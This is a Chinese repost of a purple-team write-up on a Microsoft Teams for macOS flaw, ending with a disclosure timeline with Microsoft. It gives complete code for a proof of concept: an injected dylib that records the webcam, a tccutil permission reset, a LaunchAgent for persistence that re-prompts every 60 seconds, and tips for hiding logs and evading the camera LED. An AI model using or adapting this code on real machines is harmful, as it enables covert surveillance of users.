在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

admin 2024年10月10日17:13:13评论29 views字数 8996阅读29分59秒阅读模式

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

以下文章解释了在紫队参与期间我们如何能够识别 macOS 上 Microsoft Teams 中的漏洞,从而允许我们访问用户的摄像头和麦克风。

语境

作为紫队的一员,我们设法在运行 macOS 的计算机上获得远程访问权限(以用户身份)。除了设法入侵计算机之外,我们还想实施对客户产生明显影响的示例。因此,我们一直在考虑是否要窃听计算机或检索其视频流。由于Microsoft Teams默认安装在所有 macOS 计算机上(由客户端安装),因此我们将注意力转向了应用程序的安全性。我们应用了静态和动态分析程序,这有助于我们识别漏洞。一旦利用该漏洞,攻击者就可以捕获计算机的视频和声音流。

为了模拟攻击者在受感染的机器内部进行分析,我们仅使用了机器上现有的工具。测试是在 macOS 版本 14.4(Sonoma)上进行的。

如果您想在其他 macOS 版本上利用这些漏洞,请考虑这些信息。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

运行应用程序的 macOS 版本

我们客户工作站上的Microsoft Teams版本比最新版本旧,但该应用程序的最新版本(撰写本文时为版本 24152.405.2925.6762)也存在漏洞,我们将在下面向您展示。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

该应用程序的最新版本也存在漏洞

设置

在开始分析之前,让我们先下载最新版本的Microsoft Teams。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

从 Microsoft 官方网站下载该应用程序的最新版本(第 1 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

从 Microsoft 官方网站下载该应用程序的最新版本(第 2 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

从 Microsoft 官方网站下载该应用程序的最新版本(第 3 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

从 Microsoft 官方网站下载该应用程序的最新版本(第 4 部分)

然后安装.pkg文件。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 1 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 2 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 3 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 4 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 5 部分)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

安装最新版本的应用程序(第 6 部分)

安装后,您可能会注意到一个应用程序(Microsoft AutoUpdate)已添加到用户的登录过程中。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

启动时通知添加程序

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

启动时添加新程序

还可以观察到Microsoft Teams现在可以访问麦克风。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

Microsoft Teams 可以访问麦克风(可通过隐私和安全菜单看到)

侦察

Microsoft Teams.app包安装在/Applications目录中,默认情况下,组中的用户可以在该目录中进行读写admin。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

ls从目录/Applications执行命令

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

ls -al从目录/Applications执行命令(截断结果)

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

执行命令id

可以轻松识别包(Microsoft Teams )内二进制vcxpc的存在。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

我们还注意到,macOS Hardened Runtime 已针对此二进制文件正确设置。因此,不可能执行 .dylib劫持。

  • 强化运行时与系统完整性保护 (SIP) 一起,通过防止某些类别的漏洞(如代码注入、动态链接库 (DLL) 劫持和进程内存空间篡改)来保护软件的运行时完整性。-链接https://developer.apple.com/documentation/security/hardened-runtime

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

然而,通过探索应用程序(vcxpc)的权限,我们发现权限“禁用库验证权限(密钥:com.apple.security.cs.disable-library-validation,类型:)Boolean”被设置为True。这意味着加载过程没有检查正在加载的库的签名。

一个布尔值,指示应用程序是否加载任意插件或框架,而无需代码签名。-https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

静态分析

然后我们探索了如何注入恶意库。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

通过对库加载命令()感兴趣LC_LOAD_DYLIB,我们意识到库是相对于的值加载的rpath

当您想要使用相对于可执行文件的位置(某些特殊的“@”路径就是为此而设)时,有许多不同的选择:

  • @executable_path

  • @loader_path

  • @rpath

@rpath相当于在LC_RPATH 命令引用的所有目录中进行搜索。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

查看了该命令的所有定义后LC_RPATH,发现它是相对于二进制文件vcxpc的路径定义的,并且有一个到目录/Applications 的路径遍历。

动态分析

在这种情况下,动态分析非常简单,我们所要做的就是运行二进制文件。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

该恶意库的代码如下。

文件:inject.m

#import <Foundation/Foundation.h>

__attribute__((constructor))
void inject(int argc, const char **argv) {
    NSLog(@"[+] Library (.dylib) injected!");
}

我们可以使用以下命令进行编译。

gcc -framework Foundation -dynamiclib inject.m -o inject.dylib

一旦复制到正确的位置(/Applications),该库就会由二进制文件加载(当 执行vcxpc时),并且该库的构造函数也会正确执行。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

有趣的是,在进一步探索了 Microsoft Teams 软件包之后,我们意识到预期的库(libskypert.dylib)可能在错误的位置。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

概念验证的开发

为了开发针对该漏洞的概念验证漏洞利用程序,我们重用并改编了Dan Revah已经完成的出色工作(CVE-2023-26818 - 在 macOS 中使用 Telegram 绕过 TCC)。

文件:camera.m

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation VideoRecorder

- (instancetype)init {
    self = [super init];
    if (self) {
        [self setupCaptureSession];
    }
    return self;
}

- (void)setupCaptureSession {
    self.captureSession = [[AVCaptureSession alloc] init];
    self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

    AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
    NSError *error;
    self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];

    if (error) {
        NSLog(@"[x] Error setting up video device input: %@", [error localizedDescription]);
        return;
    }

    if ([self.captureSession canAddInput:self.videoDeviceInput]) {
        [self.captureSession addInput:self.videoDeviceInput];
    }

    self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];

    if ([self.captureSession canAddOutput:self.movieFileOutput]) {
        [self.captureSession addOutput:self.movieFileOutput];
    }
}

- (void)startRecording {
    [self.captureSession startRunning];
    NSTimeInterval timeStamp = [[NSDate date] timeIntervalSince1970];
    NSInteger intTimeStamp = round(timeStamp);
    NSString *outputFilename = [NSString stringWithFormat:@"recording_%ld.mov", intTimeStamp];
    NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:outputFilename];
    NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
    [self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
    NSLog(@"[*] Recording started.");
}

- (void)stopRecording {
    [self.movieFileOutput stopRecording];
    [self.captureSession stopRunning];
    NSLog(@"[*] Recording stopped.");
}

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
      fromConnections:(NSArray<AVCaptureConnection *> *)connections
                error:(NSError *)error {
    if (error) {
        NSLog(@"[x] Recording failed: %@", [error localizedDescription]);
    } else {
        NSLog(@"[+] Recording finished successfully. (Saved to %@)", outputFileURL.path);
    }
}

@end

__attribute__((constructor))
static void telegram(int argc, const char **argv) {
    __block int record_condition = 0;
    __block int reset_condition = 0;

    NSLog(@"[*] Check permission to access the camera and microphone ...");
    switch ([AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo])
    {
        case AVAuthorizationStatusAuthorized:
        {
            NSLog(@"[+] The user has previously granted access to the camera.");
            record_condition = 1;
            break;
        }
        case AVAuthorizationStatusNotDetermined:
        {
            NSLog(@"[*] The app hasn't yet asked the user for camera access.");
            [AVCaptureDevice requestAccessForMediaType:AVMediaTypeVideo completionHandler:^(BOOL granted) {
                if (granted)
                {
                    NSLog(@"[+] Access granted by the user.");
                    record_condition = 1;
                }
                else
                {
                    NSLog(@"[x] Access refused by the user.");
                    reset_condition = 1;
                }
            }];
            break;
        }
        case AVAuthorizationStatusDenied:
        {
            NSLog(@"[!] The user has previously denied access.");
            reset_condition = 1;
            break;

        }
        case AVAuthorizationStatusRestricted:
        {
            NSLog(@"[x] The user can't grant access due to restrictions.");
            reset_condition = 1;
            break;
        }
    }

    [NSThread sleepForTimeInterval:5];

    if (reset_condition)
    {
        NSLog(@"[*] Resetting the previous choice ...");
        NSTask *task = [[NSTask alloc] init];
        task.launchPath = @"/usr/bin/tccutil";
        task.arguments = @[@"reset", @"Camera"];
        [task launch];
        reset_condition = 0;
    }

    [NSThread sleepForTimeInterval:5];

    if (record_condition)
    {
        VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];

        [videoRecorder startRecording];
        [NSThread sleepForTimeInterval:3.0];
        [videoRecorder stopRecording];
    }

    [[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:5.0]];
}

我们可以使用以下命令进行编译。

gcc -dynamiclib -framework Foundation -framework AVFoundation camera.m -o /Applications/libskypert.dylib

剩下要做的就是创建文件~/Library/LaunchAgents/com.poc.launcher.plist

文件:~/Library/LaunchAgents/com.poc.launcher.plist

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
       <key>Label</key>
        <string>com.poc.launcher</string>
        <key>RunAtLoad</key>
        <true/>
        <key>ProgramArguments</key>
        <array>
        <string>/Applications/Microsoft Teams.app/Contents/XPCServices/vcxpc.xpc/Contents/MacOS/vcxpc</string>
        </array>
        <key>StartInterval</key>
        <integer>60</integer>
        <key>StandardOutPath</key>
        <string>/tmp/poc.log</string>
        <key>StandardErrorPath</key>
        <string>/tmp/poc.log</string>
</dict>
</plist>

当创建.plist文件时,会向用户显示一条通知,但用户可能会被该应用程序来自“Microsoft Corporation”的事实所欺骗。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

如果攻击者不想等待 macOS 重新启动来启动他的服务,他可以强制加载它。

launchctl load ~/Library/LaunchAgents/com.poc.launcher.plist

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

然后,他可以查阅与他的服务相关的日志,查看视频的存储位置,然后将其提取出来。

在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

有趣的是,如果用户拒绝授予“ Microsoft Teams.app ”应用程序的访问权限(即使它实际上是正在执行的 vcxpc二进制文件,但它似乎是一个合法的应用程序 ),则与库配对的.plist会执行某种 MFA 疲劳,并每 60 秒向用户请求一次访问权限,直到授予权限为止。获得权限后,将不再请求访问,并且记录将自动进行。攻击者所要做的就是定期窃取各种记录。

结论

更进一步,也许我们可以使用额外的技巧来防止我们的日志被粗心的用户读取。我们可能能够将日志内容存储到扩展属性中,方法com.apple.ResourceFork 是将其保存到<FILE>/..namedfork/rsrc (分别为/tmp/poc.log/..namedfork/rsrc)。

这个技巧可以被看作是一个让你在 macOS 的 ADS(备用数据流)中隐藏数据的技巧。

此外,我们还可以仅在用户实际使用Microsoft Teams 应用程序时触发摄像头录制,这样通知用户摄像头处于活动状态的 LED(屏幕上部的绿灯)就不会引起任何怀疑。

无论如何,这次任务非常有趣,让我们有机会在最近的 macOS 应用程序上试验一些旧的开发技术。

披露时间表

  • 2024/07/23 – 向 Microsoft 安全响应中心 (MSRC) 报告漏洞。

  • 2024/07/30——自动确认漏洞。

  • 2024/08/21-MSRC 确认他们重现了该漏洞。

  • 2024/08/21 - MSRC 表示漏洞已修复。表示微软通常不会公开承认严重程度为低/中等的漏洞的发现者,但决定在这种情况下破例,因为该漏洞得到了快速跟踪和修复。

  • 2024/08/21 - Quarkslab 漏洞报告团队 (QVRT) 询问是否发布了修复程序。要求 CVE 识别漏洞并提供相应安全公告的链接。

  • 2024/08/21 -MSRC 回复称该案件结案过早,且该漏洞不会被分配 CVE。

  • 2024/08/22 – QVRT 向 MSRC 询问修复程序是否已发布,并提供相应安全公告或 KB 文章的链接。

  • 2024/09/13 - QVRT 要求更新,表示 Quarkslab 计划发布该漏洞的技术细节,并要求提供有关修复的官方声明以及补丁或安全公告的链接。

  • 2024/09/17 - MSRC 写道,针对 QVRT 提交的漏洞“已报告修复”,并询问 QVRT 是否愿意分享即将发布的草案。

  • 2024/09/17 - QVRT 询问是否已发布修复程序并提供相应安全公告或知识库文章的链接。表示这些问题自 8 月以来一直未得到解答。

  • 2024/10/08-这篇博文发布。

如果您想了解有关我们的安全审计的更多信息并探索我们如何为您提供帮助,请与我们联系!

原文始发于微信公众号(Ots安全):在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日17:13:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   在紫队行动期间利用 macOS 上的 Microsoft Teams 该漏洞允许攻击者通过麦克风和摄像头秘密监视用户http://cn-sec.com/archives/3249179.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息